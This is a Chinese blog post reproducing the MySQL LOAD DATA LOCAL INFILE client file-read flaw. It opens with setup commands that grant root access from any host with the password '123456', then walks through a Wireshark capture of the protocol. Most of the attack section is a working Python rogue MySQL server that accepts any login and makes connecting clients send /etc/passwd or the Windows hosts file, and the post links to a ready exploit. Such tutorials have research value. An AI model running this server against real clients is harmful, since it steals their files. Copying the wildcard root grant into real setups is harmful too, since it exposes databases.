环境搭建

怎么设置Mysql支持外联?

 

use mysql; 
grant all privileges on *.* to 
root@'%' identified by '密码';   //授权语句
flush privileges;    //刷新配置

MAC上设置Mysql环境允许外联
 

use mysql;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';  //这一步是因为有的Mysql客户端是没有mysql_native_password这个模块的防止连接不上
update user set host = "%" where user = "root";
flush privileges;

 

这个只是暂时作为备忘,权当一个知识点,哈哈
 

漏洞复现

  • LOAD DATA INFILE
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

 
第一种是读取服务器上的文件内容存入表中,第二个是读取客户端中的文件内容存入表中(显然我们应该利用的是第二种)
 

  • 漏洞分析
使用tcpdump将3306的包内容保存成为cap格式用wireshark打开分析登录过程
tcpdump  -i lo1  port 3306 -w test.cap. // 这里面要监听本地网卡,一定是本地的,不然抓取的tcp包是空的
mysql -u root -p

服务端向客户端发送greeting包和服务器的一些banner信息
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)
 
以及一些设置
 
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

显然LOAD DATA LOCAL被设置了
 
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

客户端发送登录请求,包含用户名与LOAD DATA LOCAL有关信息
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

 
接着发送了一系列的查询请求
 
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

 
接着客户端发送一个查询包后,我们返回的是一个Response TABULAR包
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

内容是要读取文件的绝对路径
 
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

之后再下一个客户端的包中,我们真的可以得到内容

Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

 

思路整理

由分析可知,客户端在连接Mysql服务端的时候,若是在发送查询包后(Mysql连接都时候就会有初始化查询,换句话说只要连接到我们,我们就可以发送Paylaod),我们返回客户端文件的绝对路径,客户端就会把文件内容发送过来(只要我们发送的包是标准的Mysql协议,这些在Mysql的官方文件都是有的).
 

我本地MAC的Mysql就不行(版本是8.0.17,因为不会发送查询语句)

用了windows的Phpstudy试了一下,还是可以的

Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

POC分析(伪造Mysql服务端)

#!/usr/bin/python
#coding: utf8
import socket

# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024

#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
#数据包长度
payloadlen = "\x0c"
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()

    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

 
 

  • 第一步
客户端发送请求数据包
服务端发送Mysql的Greet与banner信息

看一看关于脚本是怎么构造的

greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

可以看见服务器这边是直接写死的东西(伪造的是Ubuntu主机).
 
另外这个greeting的包是有一定格式的,这里面直接粘贴的是大佬们的格式
 

  • 第二步
客户端发送认证请求(用户名与密码)
这里面我们当然要保证无论输入什么密码都是可以的

 
这个是脚本中的认证成功后发送的包

authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
  • 之后就等待用户发送query包,我们返回请求客户端文件的paylaod语句

值得一提这个包是有一定格式的
 
我们在wireshark中可以看到
 
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

至于为什么是12个字节(/etc/passwd是11个字节),猜测是后面有\x00的存在
 

  • 第四步获取到信息

没啥好说的直接输出就行了

 

利用的exp

 
 
https://github.com/Gifts/Rogue-MySql-Server
 
原本是想自己写的,但是emmmm,不说了,写了好久还没有写出来

相关文章:

  • 2022-12-23
  • 2021-07-14
  • 2021-10-30
  • 2022-12-23
  • 2022-01-07
  • 2021-05-06
  • 2021-04-11
猜你喜欢
  • 2022-12-23
  • 2021-07-09
  • 2021-10-02
  • 2021-11-20
  • 2021-12-06
  • 2021-10-01
  • 2021-10-18
相关资源
相似解决方案